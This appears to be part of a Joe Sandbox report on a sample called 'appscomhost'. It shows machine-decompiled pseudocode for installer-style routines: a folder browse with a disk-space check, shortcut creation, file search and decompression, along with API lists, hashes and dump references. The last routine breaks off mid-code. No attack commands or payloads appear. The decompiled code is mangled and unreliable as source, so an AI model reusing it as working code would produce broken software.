Opcode ID: e97c67c959a0b65d06577a3b60dfd1ee79529bbebf85cdde4f8355268fbf921e
Instruction ID: b903bd850481634a0c929c3277b84cd7c4d8949cc62319a11c7efbb44c3584e6
Opcode Fuzzy Hash: e97c67c959a0b65d06577a3b60dfd1ee79529bbebf85cdde4f8355268fbf921e
Instruction Fuzzy Hash: 9DB12CB1900608FFDB11AFA0DE85AAE7B79FB44354F00403AFA45B61A0C7755E91DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404858, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404858(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x448240;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xe) + 0x47c000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405A5B(0x3fb, _t146);
					E004066C0(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405A5B(0x3fb, _t146);
							if(E00405DEE(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E00406411(0x440238, _t146);
							_t87 = E00406806(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406411(0x440238, _t146);
								_t89 = E00405D91(0x440238);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x440238,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x440238) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x440238,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405D32(0x440238);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x440238) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404CF5(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x472edc + 0x10)) != _t158) {
									E00404CDD(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x440228);
									} else {
										E00404C14(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x47afc4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404389(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x450258 == _t158) {
									E004047B1();
								}
								 *0x450258 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x450268;
							_v60 = E00404BAE;
							_v56 = _t146;
							_v68 = E0040644E(_t146, 0x450268, _t167, 0x444240, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405CE6(_t146);
								_t125 =  *((intOrPtr*)( *0x47af14 + 0x11c));
								if( *((intOrPtr*)( *0x47af14 + 0x11c)) != 0 && _t146 == 0x4d0000) {
									E0040644E(_t146, 0x450268, _t167, 0, _t125);
									if(lstrcmpiW(0x46aea0, 0x450268) != 0) {
										lstrcatW(_t146, 0x46aea0);
									}
								}
								 *0x450258 =  *0x450258 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405D5D(_t146) != 0 && E00405D91(_t146) == 0) {
						E00405CE6(_t146);
					}
					 *0x472ed8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404367(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404367(_t167);
					E0040439C(_t166);
					_t138 = E00406806(8);
					if(_t138 == 0) {
						L53:
						return E004043CE(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404858
0x0040485e
0x00404864
0x00404871
0x0040487f
0x00404882
0x0040488a
0x00404890
0x00404890
0x0040489c
0x0040489f
0x0040490d
0x00404914
0x004049eb
0x004049f2
0x00404a01
0x00404a01
0x00404a05
0x00404a0f
0x00404a1c
0x00404a1e
0x00404a1e
0x00404a2c
0x00404a33
0x00404a3a
0x00404a3d
0x00404a79
0x00404a7b
0x00404a81
0x00404a86
0x00404a8a
0x00404a8c
0x00404a8c
0x00404aa8
0x00000000
0x00404aaa
0x00404aad
0x00404abb
0x00404ac1
0x00404ac2
0x00404ac5
0x00404ac8
0x00000000
0x00404ac8
0x00404a3f
0x00404a41
0x00404a45
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a47
0x00404a47
0x00404a54
0x00404a59
0x00000000
0x00000000
0x00404a5d
0x00404a5f
0x00404a5f
0x00404a68
0x00404a6a
0x00404a6f
0x00404a72
0x00404a77
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a77
0x00404ad4
0x00404ade
0x00404ae1
0x00404ae4
0x00404aeb
0x00404aeb
0x00404aed
0x00404aed
0x00404af2
0x00404af4
0x00404afc
0x00404b03
0x00404b05
0x00404b10
0x00404b10
0x00404b05
0x00404b20
0x00404b2a
0x00404b32
0x00404b4d
0x00404b34
0x00404b3d
0x00404b3d
0x00404b32
0x00404b52
0x00404b57
0x00404b5c
0x00404b65
0x00404b65
0x00404b6e
0x00404b70
0x00404b70
0x00404b7c
0x00404b84
0x00404b8e
0x00404b8e
0x00404b93
0x00000000
0x00404b93
0x00404a3d
0x004049f4
0x004049fb
0x00000000
0x00000000
0x00000000
0x004049fb
0x0040491a
0x00404923
0x0040493d
0x00404942
0x0040494c
0x00404953
0x0040495f
0x00404962
0x00404965
0x0040496c
0x00404974
0x00404977
0x0040497b
0x00404982
0x0040498a
0x004049e4
0x0040498c
0x0040498d
0x00404994
0x0040499e
0x004049a6
0x004049b3
0x004049c7
0x004049cb
0x004049cb
0x004049c7
0x004049d0
0x004049dd
0x004049dd
0x0040498a
0x00000000
0x00404942
0x00404930
0x00000000
0x00000000
0x00404936
0x00000000
0x004048a1
0x004048ae
0x004048b7
0x004048c4
0x004048c4
0x004048cb
0x004048d1
0x004048da
0x004048dd
0x004048e0
0x004048e8
0x004048eb
0x004048ee
0x004048f4
0x004048fb
0x00404902
0x00404b99
0x00404bab
0x00404908
0x0040490b
0x00000000
0x0040490b
0x00404902

APIs

GetDlgItem.USER32 ref: 004048A7
SetWindowTextW.USER32(00000000,?), ref: 004048D1
SHBrowseForFolderW.SHELL32(?), ref: 00404982
CoTaskMemFree.OLE32(00000000), ref: 0040498D
lstrcmpiW.KERNEL32(5000,00450268,00000000,?,?), ref: 004049BF
lstrcatW.KERNEL32(?,5000), ref: 004049CB
SetDlgItemTextW.USER32 ref: 004049DD

Part of subcall function 00405A5B: GetDlgItemTextW.USER32(?,?,00002000,00404A14), ref: 00405A6E

Part of subcall function 004066C0: CharNextW.USER32(?,*?|<>/":,00000000,00000000,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 00406723
Part of subcall function 004066C0: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
Part of subcall function 004066C0: CharNextW.USER32(?,00000000,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 00406737
Part of subcall function 004066C0: CharPrevW.USER32(?,?,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

GetDiskFreeSpaceW.KERNEL32(00440238,?,?,0000040F,?,00440238,00440238,?,00000001,00440238,?,?,000003FB,?), ref: 00404AA0
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404ABB

Part of subcall function 00404C14: lstrlenW.KERNEL32(00450268,00450268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
Part of subcall function 00404C14: wsprintfW.USER32 ref: 00404CBE
Part of subcall function 00404C14: SetDlgItemTextW.USER32 ref: 00404CD1

Strings

A, xrefs: 0040497B
5000, xrefs: 004049B9, 004049BE, 004049C9

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: 5000$A
API String ID: 2624150263-1613169322
Opcode ID: fa4e08c07d2e5dde7eef4f04dcc8b33b1d39a173f10dccc5a61fd1828517c067
Instruction ID: 5f3f7decb1314f4801dca30bdb0be1b46db2be1e49b7f2cc2641f0560f8c00e6
Opcode Fuzzy Hash: fa4e08c07d2e5dde7eef4f04dcc8b33b1d39a173f10dccc5a61fd1828517c067
Instruction Fuzzy Hash: BDA14FF1900209ABDB11AFA5CD45AAFB7B8EF84314F10847BF601B62D1DB7C99418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004021A2, Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021A2(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402D3E(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402D3E(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402D3E(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402D3E(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402D3E(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405D5D( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402D3E(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4085f0, _t83, 1, 0x4085e0, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x408600, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x4d4000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021ab
0x004021b5
0x004021bf
0x004021c9
0x004021d4
0x004021d7
0x004021f1
0x004021f4
0x004021fa
0x004021fd
0x00402207
0x0040220b
0x0040220b
0x00402210
0x00402221
0x00402229
0x004022e0
0x004022e0
0x004022e7
0x0040222f
0x0040222f
0x0040223e
0x00402242
0x00402245
0x0040224b
0x00402259
0x0040225c
0x0040225e
0x00402269
0x00402269
0x0040226e
0x00402270
0x00402277
0x00402277
0x0040227a
0x00402283
0x00402286
0x0040228c
0x0040228e
0x00402298
0x00402298
0x0040229b
0x004022a4
0x004022a7
0x004022b0
0x004022b6
0x004022b8
0x004022c6
0x004022c6
0x004022c9
0x004022cf
0x004022cf
0x004022d2
0x004022d8
0x004022de
0x004022f3
0x00000000
0x00000000
0x00000000
0x004022de
0x004022e9
0x00402bc5
0x00402bd1

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: a3401585d55e863e2cbc07749479584d81d3e8ea1ad6c0a6006f8fababdb9c67
Instruction ID: 362e08a154f9deb375e3635666a196e2f320c61b30b9ece334e14fdd6efcad65
Opcode Fuzzy Hash: a3401585d55e863e2cbc07749479584d81d3e8ea1ad6c0a6006f8fababdb9c67
Instruction Fuzzy Hash: F941F775A00208AFCF00DFE4C989A9E7BB6FF48314B20457AF515EB2D1DBB99981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402902, Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402902(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402D3E(2), _t21 - 0x2dc) != 0xffffffff) {
					E00406358( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E00406411();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x0040291a
0x00402935
0x00402940
0x00402941
0x00402a7b
0x0040291c
0x0040291f
0x00402922
0x00402925
0x00402925
0x00402bc5
0x00402bd1

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: af0f4af033061492bf054bac95b962d397aac3b54501349a0f81ab5068886ac7
Instruction ID: 60936a4e91679325268cf841a61daef8b980fe85fcc794feaf39351a3de923c4
Opcode Fuzzy Hash: af0f4af033061492bf054bac95b962d397aac3b54501349a0f81ab5068886ac7
Instruction Fuzzy Hash: 01F08C71A04114AEC700DFA4DD499AEB378EF10328F70457BE515F31E0D7B89E519B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00406C81, Relevance: .3, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00406C81(signed int __ebx, signed int* __esi) {
				signed int _t396;
				signed int _t425;
				signed int _t442;
				signed int _t443;
				signed int* _t446;
				void* _t448;

				L0:
				while(1) {
					L0:
					_t446 = __esi;
					_t425 = __ebx;
					if( *(_t448 - 0x34) == 0) {
						break;
					}
					L55:
					__eax =  *(__ebp - 0x38);
					 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
					__ecx = __ebx;
					 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
					__ebx = __ebx + 8;
					while(1) {
						L56:
						if(__ebx < 0xe) {
							goto L0;
						}
						L57:
						__eax =  *(__ebp - 0x40);
						__eax =  *(__ebp - 0x40) & 0x00003fff;
						__ecx = __eax;
						__esi[1] = __eax;
						__ecx = __eax & 0x0000001f;
						if(__cl > 0x1d) {
							L9:
							_t443 = _t442 | 0xffffffff;
							 *_t446 = 0x11;
							L10:
							_t446[0x147] =  *(_t448 - 0x40);
							_t446[0x146] = _t425;
							( *(_t448 + 8))[1] =  *(_t448 - 0x34);
							L11:
							 *( *(_t448 + 8)) =  *(_t448 - 0x38);
							_t446[0x26ea] =  *(_t448 - 0x30);
							E004073F0( *(_t448 + 8));
							return _t443;
						}
						L58:
						__eax = __eax & 0x000003e0;
						if(__eax > 0x3a0) {
							goto L9;
						}
						L59:
						 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 0xe;
						__ebx = __ebx - 0xe;
						_t94 =  &(__esi[2]);
						 *_t94 = __esi[2] & 0x00000000;
						 *__esi = 0xc;
						while(1) {
							L60:
							__esi[1] = __esi[1] >> 0xa;
							__eax = (__esi[1] >> 0xa) + 4;
							if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
								goto L68;
							}
							L61:
							while(1) {
								L64:
								if(__ebx >= 3) {
									break;
								}
								L62:
								if( *(__ebp - 0x34) == 0) {
									goto L182;
								}
								L63:
								__eax =  *(__ebp - 0x38);
								 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
								__ecx = __ebx;
								 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
								__ebx = __ebx + 8;
							}
							L65:
							__ecx = __esi[2];
							 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000007;
							__ebx = __ebx - 3;
							_t108 = __ecx + 0x4084d4; // 0x121110
							__ecx =  *_t108;
							 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 3;
							 *(__esi + 0xc +  *_t108 * 4) =  *(__ebp - 0x40) & 0x00000007;
							__ecx = __esi[1];
							__esi[2] = __esi[2] + 1;
							__eax = __esi[2];
							__esi[1] >> 0xa = (__esi[1] >> 0xa) + 4;
							if(__esi[2] < (__esi[1] >> 0xa) + 4) {
								goto L64;
							}
							L66:
							while(1) {
								L68:
								if(__esi[2] >= 0x13) {
									break;
								}
								L67:
								_t119 = __esi[2] + 0x4084d4; // 0x4000300
								__eax =  *_t119;
								 *(__esi + 0xc +  *_t119 * 4) =  *(__esi + 0xc +  *_t119 * 4) & 0x00000000;
								_t126 =  &(__esi[2]);
								 *_t126 = __esi[2] + 1;
							}
							L69:
							__ecx = __ebp - 8;
							__edi =  &(__esi[0x143]);
							 &(__esi[0x148]) =  &(__esi[0x144]);
							__eax = 0;
							 *(__ebp - 8) = 0;
							__eax =  &(__esi[3]);
							 *__edi = 7;
							__eax = E00407458( &(__esi[3]), 0x13, 0x13, 0, 0,  &(__esi[0x144]), __edi,  &(__esi[0x148]), __ebp - 8);
							if(__eax != 0) {
								L72:
								 *__esi = 0x11;
								while(1) {
									L180:
									_t396 =  *_t446;
									if(_t396 > 0xf) {
										break;
									}
									L1:
									switch( *((intOrPtr*)(_t396 * 4 +  &M004073B0))) {
										case 0:
											L101:
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[5];
											__esi[2] = __esi[5];
											 *__esi = 1;
											goto L102;
										case 1:
											L102:
											__eax = __esi[3];
											while(1) {
												L105:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L103:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L104:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L106:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __ecx;
											if(__ecx != 0) {
												L108:
												__eflags = __cl & 0x00000010;
												if((__cl & 0x00000010) == 0) {
													L110:
													__eflags = __cl & 0x00000040;
													if((__cl & 0x00000040) == 0) {
														goto L125;
													}
													L111:
													__eflags = __cl & 0x00000020;
													if((__cl & 0x00000020) == 0) {
														goto L9;
													}
													L112:
													 *__esi = 7;
													goto L180;
												}
												L109:
												__esi[2] = __ecx;
												__esi[1] = __eax;
												 *__esi = 2;
												goto L180;
											}
											L107:
											__esi[2] = __eax;
											 *__esi = 6;
											goto L180;
										case 2:
											L113:
											__eax = __esi[2];
											while(1) {
												L116:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L114:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L115:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L117:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[1] = __esi[1] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[6];
											__esi[2] = __esi[6];
											 *__esi = 3;
											goto L118;
										case 3:
											L118:
											__eax = __esi[3];
											while(1) {
												L121:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L119:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L120:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L122:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __cl & 0x00000010;
